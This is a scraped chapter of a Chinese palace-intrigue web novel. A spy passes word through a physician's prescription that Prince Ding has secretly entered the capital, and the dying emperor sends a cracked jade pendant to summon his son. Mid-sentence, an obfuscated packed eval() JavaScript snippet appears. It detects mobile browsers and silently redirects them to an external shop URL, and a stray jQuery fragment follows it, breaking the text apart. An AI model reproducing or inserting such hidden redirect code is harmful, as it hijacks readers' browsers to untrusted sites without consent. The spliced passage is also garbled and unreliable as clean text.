文趣网 > 其他小说 > 坐到灯花落 > 10. 第十章
    邱修换了一身不起眼的破衣裳,从永兴坊绕到皇城南边。太医署在皇城里头,他不敢往署门前凑,只在皇城南边一处药肆旁停下。

    药肆对面有卖热汤的小摊,邱修要了一碗,清汤寡水没什么喝头,他捧着暖手。

    中间有两个药役从皇城门里出来,一个揉着肩说:“这几日真要把人熬干了。”另一个打着呵欠接话:“昨夜才合眼,就又被叫起来煎药。”

    一直到天色擦黑,皇城门里才出来一个穿旧青袍的人。药肆掌柜正好站在门口,见了他,笑着招呼了一声:“蒋医官,才出来?”

    蒋恩泽摆了摆手:“我还有差事。”

    药肆掌柜便不多问,只道:“那您慢走。”

    邱修把碗里剩下的热汤喝了,放下两个钱,隔了一段路跟上去。

    皇城门外这时候正是人多的时候,下值的小吏、送文书的差役、替官人家里送衣裳饭食的仆从,都在往外走。

    邱修混在人群里,不远不近地跟着,眼睛不敢总落在蒋恩泽身上。

    蒋恩泽走得不快,像是真要回家换衣裳。

    他在一处卖纸烛的小铺前停了一下,伸手翻了翻案上的黄纸,又同店家问了两句价钱。邱修没有跟着停,只从铺前走过去,余光瞥见蒋恩泽放下黄纸,重新往前走。

    又过了半条街,人声渐渐少了。

    蒋恩泽拐进一条僻些的巷子,两边墙高,风从巷口灌进来,吹得人耳朵发冷。

    邱修刚跟进去,前头的人便停住了。

    蒋恩泽没有回头,“跟我一路,阁下有事寻我吗?”

    邱修停在他身后三步远,“程观。”

    蒋恩泽这才转过身来,眼中惊讶:“那老东西还活着?”

    邱修绷了一日,听他这样说,一时竟不知道该不该答。

    蒋恩泽也没等他答,“说吧,什么事。”

    邱修道:“定王已入京。”

    蒋恩泽脸上的倦色一下子散了,他盯着邱修看了一会儿,像是要从他脸上看出这句话是真是假。

    “你说,殿下已入京?”

    邱修点头:“是。”

    蒋恩泽神情骤然严肃,圣人病重,定王忽然入京……他很快想到了那一层,“是圣人召殿下回来的?”

    邱修没有答是,也没有答不是,只道:“程叔只让我来传话。”

    蒋恩泽看着他,声音沉下去:“若是圣人召殿下入京,为什么不直接入宫,反而让你来寻我?”

    邱修看着他,没有绕开,“因为有人不想让殿下面圣。”

    蒋恩泽眉头紧锁:“殿下眼下可还安稳?”

    邱修道:“暂时无事。”

    蒋恩泽听出这四个字里的分量,暂时无事,便是随时有事。他没有再追问,只道:“程观要我把话递给谁?”

    邱修道:“递给紫宸殿内的高怀谨。”

    蒋恩泽听见这个名字,脸色微微一变,“程观连他也要惊动?”

    邱修看着他:“程叔说,这句话若要到圣人耳边,只能找他。”

    巷子里的风从墙边刮过去,蒋恩泽拢了拢领口,“我知道了。明日你在药铺等我,成与不成就看今夜了。”

    入夜以后,紫宸殿那边果然又传了话出来。

    圣人夜里用药后仍不安稳,太医署须再遣人入宫候脉。蒋恩泽换过衣裳,随太医令宋守常一道进宫。

    到了宫门前,内侍照例验牌,又叫人打开药箱,连针囊、药刀、药杵都一件一件看过,才放他们往里去。

    紫宸殿外间灯火不明,尚药局的人正把上一副药的药渣端出来,宋守常接过看了看,低声同旁边几位医官议方,蒋恩泽立在案边记录。

    “新方子好了吗?”高怀谨从内寝走出来,声音不高,外间的人声却一下子收了。

    他如今是内侍省内给事,奉侍紫宸殿,昼夜都在圣人榻前。宋守常虽是太医令,到了这重帘子外,也要先看他的脸色。

    宋守常把刚议好的方子递过去,道:“已经好了。前头那味减半,夜里先照这副用。若三更后仍旧不安稳,明早再议。”

    高怀谨接过方子,手指翻到最底下时,停了一停。

    那纸条极窄,夹在两页之间,只写了五个字:定王已入京。

    高怀谨不动声色地把纸条捏进掌心,将方子递给尚药局的内侍,“有劳宋太医。先照这个煎,火候仔细些。”

    尚药局的人应了一声,捧着方子下去。

    高怀谨又回了内寝,帘子一重一重落在身后,外间的人声也一层一层远了。

    定王已入京,虞昭仪的儿子回来了。

    高怀谨眼眶发热,十几年了,他们这些旧人散在上京四处,终于等到了这一日。

    不对,高怀谨很快意识到,定王奉诏入京,早该递牌入宫,早该由宗正寺、内侍省一路报到紫宸殿前。

    哪怕圣人病重不能立刻召见,也不该由蒋恩泽在药方底下夹这样一张纸条。

    有人拦着定王面圣,说不定,定王眼下已经身陷险处。

    高怀谨站在第三重帘后,听见内寝里圣人的呼吸一阵轻、一阵重,方才那点喜色,一下子全没了。

    圣人病重,太子与庆王蠢蠢欲动,定王这个时候回京,第一步就该到圣人跟前。

    见了圣人,才是奉诏入京。

    见不到,便是无召擅自离开封地的罪人。

    圣人还睡着,帐外只留了两盏灯,守夜的小内侍跪在脚踏旁,见高怀谨进来,连忙退开。

    高怀谨道:“你到外头候着。”

    小内侍愣了一下,很快低头退了出去。帘子落下,帐前便只剩他一个人。

    紫宸殿这样大,静得叫人心里发紧。

    他等了很久,帐里的人终于睁开了眼。

    圣人醒得不算清明,眼神先落在帐顶,又慢慢移到高怀谨脸上,“什么时辰了?”

    高怀谨低声道:“快过三更了。”

    圣人“嗯”了一声,像是还要睡过去。

    灯影落在帐纱上,轻轻晃了一下,高怀谨听见外头风声贴着窗纸过去。

    不能再等了,再等下去,天一亮,紫宸殿外头又会站满人。

    高怀谨把头压低了些,“陛下,外头递进来一句话。”

    圣人的眼睫动了一下。

    高怀谨道:“定王已入京。”

    圣人原本半阖的眼慢慢睁开,“你说谁?”

    高怀谨伏在地上,声音

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706540|208332||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    颤抖,“定王殿下,已经入京。”

    帐里的灯光很暗,落在圣人脸上,只照出灰白的病色,“他既然回来了,为什么不来看朕?”

    圣人的声音很轻,轻得几乎不像在问他,“他还恨朕吗?”

    高怀谨的手指在袖中一紧,伏着身子不知该如何回话。

    圣人像也没指望他接话,只看着帐顶那片昏暗,“朕把他送出上京的时候,他才多大?”

    高怀谨低声道:“殿下那年五岁。”

    “五岁。”圣人低低重复了一遍,眼神有些散,“朕那时候还想,他年纪小,离了上京,这些事过几年也就忘了。”

    他停了停,声音更哑,“小孩子忘性大,是不是?”

    高怀谨喉头发紧:“陛下……”

    圣人没有让他说下去,“朕这个父亲做得很不像样,他不会忘的。”

    灯影在帐纱上轻轻晃了一下。

    圣人道:“朕记得他站在清思殿廊下,看着宫人把殿里的东西一件一件搬出来。他哭着要母亲,要朕抱他。”

    圣人的手搭在被上,指尖微微动了一下,“朕没有抱他,因为皇帝不能抱他。朕一抱他,旁人就知道朕心软,清思殿的案子还没结,皇后在看着,朝臣在看着,宗亲也在看着。”

    这话刚说完,圣人就猛地咳嗽起来。高怀谨忙起身,取了温水来。

    圣人就着银匙喝了一点,咳声才渐渐压下去,“如今朕想见他,他却不来,这也是朕的报应。”

    高怀谨又低声重复了一遍:“陛下,定王殿下已入京。”

    圣人睁开眼,看了他一会儿,方才那点伤心还没有完全退去,却已经有另一层东西慢慢浮上来,“哦,是有人不让他来,你告诉朕,是太子,还是庆王?”

    高怀谨低声道:“陛下,奴不敢妄言。”

    圣人没有怪他,只轻轻笑了一声,“你自然不知。”

    太子和庆王,一个在等,一个在抢。如今他病成这样,紫宸殿外头每日来问安的人,又有几个是真正关心他?

    他想见一个离京多年的小儿子,竟也要靠内侍传话。

    圣人撑着坐起一点,病气还压着他的肩背,可那双眼睛已经醒透了,“朕要见定王。”

    他看着高怀谨,一字一字道:“不管你用什么法子,把定王带到朕面前。”

    高怀谨心头一震,把头伏得更低:“奴遵旨。”

    圣人抬了抬手,高怀谨忙近前。他摸向枕边,取出一枚旧青玉佩。

    玉佩是圆形,玉色偏深,正面雕着两条小螭,首尾相缠,各自衔着一枝灵芝,中间留出一枚小小的团花。左下角有一道细裂,从小螭的尾巴斜斜裂到灵芝叶下,将那一处纹路断开了半截。

    高怀谨心口忽然一紧,他认得这枚玉佩。

    六皇子还小时,曾在清思殿西窗下玩这枚玉佩,失手摔在砖上,磕出这道细裂。虞昭仪那时只是看了一眼,笑说:“裂了便裂了,不是非要无瑕才算完满。”

    圣人把玉佩攥在掌心里,过了许久,才递给高怀谨,“你拿这个去。”

    高怀谨双手接过,低声道:“是。”

    圣人看着他,声音哑得厉害,“告诉他,朕在紫宸殿等他。”